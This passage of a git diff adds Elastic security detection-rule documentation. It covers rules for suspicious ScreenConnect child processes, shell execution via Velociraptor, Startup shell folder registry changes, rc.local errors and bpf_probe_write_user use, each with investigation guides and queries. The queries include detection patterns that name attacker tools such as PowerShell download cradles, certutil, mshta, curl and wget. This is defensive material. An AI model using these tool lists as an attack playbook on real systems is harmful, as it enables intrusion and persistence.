+- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete Setup and Run Filebeat information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the Filebeat System Module to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and data_stream.dataset:system.syslog and process.name:rc.local and +message:("Connection refused" or "No such file or directory" or "command not found") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-screenconnect-client-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-screenconnect-client-child-process.asciidoc new file mode 100644 index 0000000000..361e9b2e98 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-screenconnect-client-child-process.asciidoc @@ -0,0 +1,210 @@ +[[prebuilt-rule-8-19-21-suspicious-screenconnect-client-child-process]] +=== Suspicious ScreenConnect Client Child Process + +Identifies suspicious processes being spawned by the ScreenConnect client processes. This activity may indicate execution abusing unauthorized access to the ScreenConnect remote access software. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike + +*Version*: 314 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious ScreenConnect Client Child Process* + + +ScreenConnect, a remote access tool, facilitates legitimate remote support but can be exploited by adversaries to execute unauthorized commands. Malicious actors may spawn processes like PowerShell or cmd.exe via ScreenConnect to perform harmful activities. The detection rule identifies such suspicious child processes, focusing on unusual arguments and process names, indicating potential abuse of remote access capabilities. + + +*Possible investigation steps* + + +- Review the parent process name to confirm it is one of the ScreenConnect client processes listed in the query, such as ScreenConnect.ClientService.exe or ScreenConnect.WindowsClient.exe, to verify the source of the suspicious activity. +- Examine the child process name and arguments, such as powershell.exe with encoded commands or cmd.exe with /c, to identify potentially malicious actions or commands being executed. +- Check the network activity associated with the suspicious process, especially if the process arguments include network-related terms like *http* or *downloadstring*, to determine if there is any unauthorized data exfiltration or command and control communication. +- Investigate the user account under which the suspicious process was executed to assess if the account has been compromised or is being misused. +- Correlate the event with other security alerts or logs from data sources like Elastic Defend or Microsoft Defender XDR to gather additional context and identify any related malicious activities. +- Review the system's recent activity and changes, such as new scheduled tasks or services created by schtasks.exe or sc.exe, to identify any persistence mechanisms that may have been established by the attacker. + + +*False positive analysis* + + +- Legitimate IT support activities using ScreenConnect may trigger the rule when executing scripts or commands for maintenance. To manage this, identify and whitelist specific IT support accounts or IP addresses that regularly perform these actions. +- Automated scripts or scheduled tasks that use ScreenConnect for routine operations might be flagged. Review and document these scripts, then create exceptions for known benign processes and arguments. +- Software updates or installations initiated through ScreenConnect can appear suspicious. Maintain a list of approved software and update processes, and exclude these from the rule. +- Internal security tools or monitoring solutions that leverage ScreenConnect for legitimate purposes may be detected. Verify these tools and add them to an exclusion list to prevent false positives. +- Training sessions or demonstrations using ScreenConnect to showcase command-line tools could be misinterpreted as threats. Ensure these sessions are logged and recognized as non-threatening, and adjust the rule to accommodate these scenarios. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the attacker. +- Terminate any suspicious processes identified in the alert, such as PowerShell, cmd.exe, or other flagged executables, to halt any ongoing malicious activity. +- Review and revoke any unauthorized user accounts or privileges that may have been created or modified using tools like net.exe or schtasks.exe. +- Conduct a thorough scan of the affected system using endpoint protection tools to identify and remove any malware or unauthorized software installed by the attacker. +- Restore the system from a known good backup if any critical system files or configurations have been altered or compromised. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for ScreenConnect and other remote access tools to detect similar activities in the future, ensuring that alerts are promptly reviewed and acted upon. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : + ("ScreenConnect.ClientService.exe", + "ScreenConnect.WindowsClient.exe", + "ScreenConnect.WindowsBackstageShell.exe", + "ScreenConnect.WindowsFileManager.exe") and + ( + (process.name : "powershell.exe" and + process.args : ("-enc", "-ec", "-e", "*downloadstring*", "*Reflection.Assembly*", "*http*")) or + (process.name : "cmd.exe" and process.args : "/c") or + (process.name : "net.exe" and process.args : "/add") or + (process.name : "schtasks.exe" and process.args : ("/create", "-create")) or + (process.name : "sc.exe" and process.args : "create") or + (process.name : "rundll32.exe" and not process.args : "url.dll,FileProtocolHandler") or + (process.name : "msiexec.exe" and process.args : ("/i", "-i") and + process.args : ("/q", "/quiet", "/qn", "-q", "-quiet", "-qn", "-Q+")) or + process.name : ("mshta.exe", "certutil.exe", "bistadmin.exe", "certreq.exe", "wscript.exe", "cscript.exe", "curl.exe", + "ssh.exe", "scp.exe", "wevtutil.exe", "wget.exe", "wmic.exe") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-shell-execution-via-velociraptor.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-shell-execution-via-velociraptor.asciidoc new file mode 100644 index 0000000000..e4533cdc78 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-shell-execution-via-velociraptor.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-21-suspicious-shell-execution-via-velociraptor]] +=== Suspicious Shell Execution via Velociraptor + +Detects shell executions (cmd, PowerShell, rundll32) spawned by Velociraptor. Threat actors have been observed installing Velociraptor to execute shell commands on compromised systems, blending in with legitimate system processes. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.huntress.com/blog/active-exploitation-solarwinds-web-help-desk-cve-2025-26399 +* https://attack.mitre.org/techniques/T1219/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Execution +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Data Source: Windows Security Event Logs + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Shell Execution via Velociraptor* + + +Velociraptor is a legitimate endpoint visibility and response tool. Threat actors have been observed deploying it on compromised systems to run shell commands (cmd, PowerShell, rundll32), making their activity look like normal Velociraptor-collector behavior. + + +*Possible investigation steps* + + +- Confirm the parent process name matches a Velociraptor binary (e.g. velociraptor.exe, Velociraptor.exe) and the child is cmd.exe, powershell.exe, or rundll32.exe. +- Review the child process command line for suspicious or interactive commands (e.g. download, lateral movement, credential access) versus known Velociraptor artifact scripts (Get-LocalGroupMember, Get-Date, registry queries, Velociraptor Tools module). +- Identify how Velociraptor was installed (dropped by another process, scheduled task, service); correlate with earlier process or file events on the host. +- Check whether the Velociraptor executable path and code signature are expected (e.g. Program Files vs. temp or user writable); unauthorized installs are often from non-standard paths. +- Correlate with other alerts for the same host or user (initial access, persistence, C2) to determine if this is abuse vs. legitimate IR/DFIR use. + + +*False positive analysis* + + +- Legitimate Velociraptor artifacts that run Get-LocalGroupMember, Get-Date, registry Run key checks, or Velociraptor Tools PowerShell module are excluded by the rule; remaining FPs may be custom artifacts. Allowlist by command-line pattern or host if you use Velociraptor for authorized IR and see known-good artifacts. + + +*Response and remediation* + + +- If abuse is confirmed: isolate the host, terminate the Velociraptor and child shell processes, and remove the Velociraptor installation (binary, service, config). +- Determine how Velociraptor was deployed and close the initial access vector; rotate credentials for affected accounts. +- If the deployment was authorized (IR/DFIR), document and tune the rule or add an exception to reduce noise. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.command_line != null and + process.parent.name : "velociraptor.exe" and + process.name : ("cmd.exe", "powershell.exe", "rundll32.exe") and + not (process.name : "powershell.exe" and process.command_line : "*RwBlAHQALQBMAG8AYwBhAGwARwByAG8AdQBwAE0AZQBtAGIAZQBy*") and + not (process.name : "powershell.exe" and process.command_line : "*RwBlAHQALQBEAGEAdABl*" and process.command_line : "*-Format*") and + not (process.name : "cmd.exe" and process.command_line : "*start*127.0.0.1:8889*") and + not (process.name : "powershell.exe" and process.command_line : "*RwBlAHQALQBJAHQAZQBt*" and process.command_line : "*UgBlAGcAaQBzAHQAcgB5*" and process.command_line : "*UgB1AG4A*") and + not (process.name : "powershell.exe" and + process.args : ("RwBlAHQALQ*", "UgBlAG0AbwB2AGUALQBJAHQAZQBtACA*", "C:\\Program Files\\Velociraptor\\thor.db", + "import-module \"C:\\Program Files\\Velociraptor\\Tools\\*")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Sub-technique: +** Name: Remote Desktop Software +** ID: T1219.002 +** Reference URL: https://attack.mitre.org/techniques/T1219/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-startup-shell-folder-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-startup-shell-folder-modification.asciidoc new file mode 100644 index 0000000000..f7cbd44b18 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-startup-shell-folder-modification.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-21-suspicious-startup-shell-folder-modification]] +=== Suspicious Startup Shell Folder Modification + +Identifies suspicious startup shell folder modifications to change the default Startup directory in order to bypass detections monitoring file creation in the Windows Startup folder. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign +* https://www.elastic.co/security-labs/revisiting-blister-new-developments-of-the-blister-loader + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Startup Shell Folder Modification* + + +Techniques used within malware and by adversaries often leverage the Windows registry to store malicious programs for persistence. Startup shell folders are often targeted as they are not as prevalent as normal Startup folder paths so this behavior may evade existing AV/EDR solutions. These programs may also run with higher privileges which can be ideal for an attacker. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Review the source process and related file tied to the Windows Registry entry. +- Validate if the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the file using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- There is a high possibility of benign legitimate programs being added to shell folders. This activity could be based on new software installations, patches, or other network administrator activity. Before undertaking further investigation, it should be verified that this activity is not benign. + + +*Related rules* + + +- Startup or Run Key Registry Modification - 97fc44d3-8dae-4019-ae83-298c3015600f +- Persistent Scripts in the Startup Directory - f7c4dc5a-a58d-491d-9f14-9b66507121c0 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- If the malicious file was delivered via phishing: + - Block the email sender from sending future emails. + - Block the malicious web pages. + - Remove emails from the sender from mailboxes. + - Consider improvements to the security awareness program. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : ("Common Startup", "Startup") and + registry.path : ( + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Common Startup", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Common Startup", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Startup", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Startup", + "HKU\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Startup", + "HKU\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Startup", + "HKCU\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Startup", + "HKCU\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Startup", + "\\REGISTRY\\MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Common Startup", + "\\REGISTRY\\MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Common Startup", + "\\REGISTRY\\USER\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Startup", + "\\REGISTRY\\USER\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Startup", + "MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Common Startup", + "MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Common Startup", + "USER\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Startup", + "USER\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Startup" + ) and + registry.data.strings != null and + /* Normal Startup Folder Paths */ + not registry.data.strings : ( + "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", + "%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", + "%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", + "%%USERPROFILE%%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", + "C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", + "\\\\*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-usage-of-bpf-probe-write-user-helper.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-usage-of-bpf-probe-write-user-helper.asciidoc new file mode 100644 index 0000000000..11f6a5bbf3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-usage-of-bpf-probe-write-user-helper.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-21-suspicious-usage-of-bpf-probe-write-user-helper]] +=== Suspicious Usage of bpf_probe_write_user Helper + +This rule monitors the syslog log file for messages related to instances of a program using the "bpf_probe_write_user" helper. The "bpf_probe_write_user" helper is used to write data to user space from a BPF program. Unauthorized use of this helper can be indicative of an eBPF rootkit or other malicious activity. + +*Rule type*: query + +*Rule indices*: + +* logs-system.syslog-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Usage of bpf_probe_write_user Helper* + + +The `bpf_probe_write_user` helper is a function within the eBPF (extended Berkeley Packet Filter) framework, allowing BPF programs to write data to user space. While useful for legitimate monitoring and debugging, adversaries can exploit it to manipulate user space memory, potentially deploying rootkits or evading defenses. The detection rule monitors syslog entries for kernel processes invoking this helper, flagging potential unauthorized use indicative of malicious activity. + + +*Possible investigation steps* + + +- Review the syslog entries for the specific message "bpf_probe_write_user" to identify the exact time and context of the event. +- Correlate the timestamp of the alert with other logs and system activities to identify any unusual behavior or patterns around the same time. +- Investigate the process details associated with the kernel at the time of the alert to determine if there are any anomalies or unauthorized modifications. +- Check for any recent changes or installations on the system that could have introduced unauthorized BPF programs. +- Assess the system for signs of persistence mechanisms or defense evasion tactics, as indicated by the MITRE ATT&CK framework references. +- Conduct a thorough review of user accounts and permissions to ensure no unauthorized access or privilege escalation has occurred. +- If suspicious activity is confirmed, isolate the affected system and perform a comprehensive forensic analysis to understand the scope and impact of the potential compromise. + + +*False positive analysis* + + +- Legitimate monitoring tools may use the bpf_probe_write_user helper for debugging purposes. Identify and whitelist these tools by verifying their source and ensuring they are part of authorized software packages. +- Kernel developers and system administrators might use this helper during system diagnostics or performance tuning. Establish a baseline of expected usage patterns and create exceptions for known maintenance activities. +- Automated scripts or system processes that perform regular system checks could trigger this rule. Review the scripts and processes to confirm their legitimacy and exclude them from alerts if they are verified as safe. +- Security software or intrusion detection systems might utilize this helper as part of their normal operations. Coordinate with your security team to recognize these activities and adjust the rule to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data manipulation. +- Terminate any suspicious processes associated with the `bpf_probe_write_user` helper to halt potential malicious activity. +- Conduct a thorough review of recent system changes and installed software to identify unauthorized modifications or installations. +- Restore affected systems from a known good backup to ensure the integrity of user space memory and system files. +- Implement stricter access controls and monitoring on systems with eBPF capabilities to prevent unauthorized use of the `bpf_probe_write_user` helper. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems are affected. +- Update detection mechanisms to include additional indicators of compromise related to eBPF rootkits and similar threats, enhancing future threat detection capabilities. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Filebeat + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat for the Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete Setup and Run Filebeat information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the Filebeat System Module to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and data_stream.dataset:"system.syslog" and process.name:kernel and message:"bpf_probe_write_user" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-werfault-child-process.asciidoc 